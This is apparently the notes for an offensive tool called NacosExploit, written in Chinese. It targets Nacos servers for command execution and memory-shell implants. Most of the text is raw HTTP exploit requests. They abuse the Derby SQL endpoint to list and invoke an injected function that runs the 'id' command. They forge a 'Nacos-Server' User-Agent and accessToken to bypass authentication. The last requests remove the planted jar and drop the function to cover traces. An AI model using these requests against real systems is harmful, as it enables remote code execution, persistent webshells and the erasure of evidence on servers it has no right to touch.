NacosExploit 命令执行内存马等利用

部署函数id问题没办法存一下吧✅ (被部署太多不容易打，可参考6)
本地加载 ✅
关闭时要结束进程✅
内存马太大怎么办？
命令写内存jar？精简？ ❎ 换蚁剑✅
判断系统人工选择路径✅

擦屁股/爆菊
查询存在的函数 S_EXAMPLE_xxxx 基本上用公开的poc都没改过包括本工具

GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSALIASES%20WHERE%20ALIASTYPE%20%3D%20%27F%27%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

查询部署的jar

GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSFILES%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

利用

GET /nacos/v1/cs/ops/derby?sql=select+*+from+%28select+count%28*%29+as+b%2C+S_EXAMPLE_AGIAJSOK%28%27id%27%29+as+a+from+config_info%29+tmp+%2F*ROWS+FETCH+NEXT*%2F HTTP/1.1
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

删除jar 卸载函数

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 204
Connection: close

------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain

CALL sqlj.remove_jar('NACOS.AGIAJSOK', 0)
------WebKitFormBoundarymeBFzDXo--

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 195
Connection: close

------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain

DROP FUNCTION S_EXAMPLE_AGIAJSOK
------WebKitFormBoundarymeBFzDXo--

验证